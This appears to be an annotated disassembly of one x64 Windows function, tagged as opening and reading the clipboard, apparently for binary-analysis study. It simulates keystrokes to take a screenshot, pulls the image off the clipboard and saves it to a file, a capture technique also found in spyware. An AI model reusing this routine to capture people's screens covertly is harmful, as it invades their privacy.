Function at 0x1400d74d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140cec080]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r15, rcx
xor r12d, r12d
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
lea ecx, [r12 + 2]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov r14d, r12d
mov qword [rbp - 0x68], r12
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x20]
lea edx, [r12 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea rax, vtable.ATL::CImage.0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x60], 0xffffffff
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x70], r12d
mov qword [rsp + 0x78], r12
call fcn.1400bedb0
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xd0]
lea edx, [r12 + 0x68]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x1400d7674
mov byte [rsp + 0x58], 1
mov ecx, dword [rbp + 0xf4]
mov dword [rsp + 0x48], ecx
mov r8d, dword [rbp + 0xf8]
mov eax, r8d
cdq
mov r9d, eax
xor r9d, edx
sub r9d, edx
mov dword [rsp + 0x4c], r9d
movzx eax, word [rbp + 0xfe]
mov dword [rsp + 0x54], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rsp + 0x50], eax
mov r10, qword [rbp + 0xe8]
mov qword [rsp + 0x40], r10
test r8d, r8d
jle 0x1400d76a2
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rsp + 0x40], rdx
neg eax
mov dword [rsp + 0x50], eax
jmp 0x1400d76a2
mov byte [rsp + 0x58], 0
mov eax, dword [rbp + 0xd4]
mov dword [rsp + 0x48], eax
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x4c], eax
movzx eax, word [rbp + 0xe2]
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x50], r12d
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x5c], 0xffffffff
mov byte [rsp + 0x59], 0
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1400d6fc0
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov edi, dword [rbp - 0x80]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov edx, edi
test edi, edi
je 0x1400d76ee
lea rcx, [rbp - 0x78]
call fcn.1400d7d10
mov r14, qword [rbp - 0x68]
mov rbx, qword [rbp - 0x78]
mov r8d, edi
lea rdx, [rbx + 0x10]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
lea rax, [0x140cccc00]
mov qword [rbp - 0x50], rax
lea rax, [0x140cc82e0]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x28], 1
xor r8d, r8d
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx - 0x54], edx
lea rax, [rbp - 0x38]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x39], 0
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x48], r12
mov rax, qword [0x14130a9d8]
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x30], r12
cmp qword [r15 + 0x18], 0x10
jb 0x1400d77bd
mov r15, qword [r15]
mov r8d, Ordinal_35
mov rdx, r15
lea rcx, [rbp - 0x38]
call fcn.140034650
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
je 0x1400d77f0
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400d77fe
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8, qword [rbp - 0x70]
sub r8, rbx
lea rdx, [rbx + 0x10]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.1400345a0
test rax, rax
jne 0x1400d783d
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x1400d785b
imul rax, rax, 0x64
jmp 0x1400d7876
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffffd9da5ff
cmp rax, rcx
jge 0x1400d788d
add rax, 0x2625a00
jmp 0x1400d7897
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
call fcn.14000cf70
nop
lea rcx, [rbp - 0x50]
call fcn.1400d7970
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400d78c1
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.1400bedb0
mov rdi, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rdi + 0x30], 1
jne 0x1400d78fe
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400d78f1
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rdi], r12
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
test rbx, rbx
je 0x1400d7944
sub r14, rbx
mov rax, rbx
cmp r14, 0x1000
jb 0x1400d7939
add r14, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d7939
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, rbx
call fcn.140138cc0
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140138a50
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret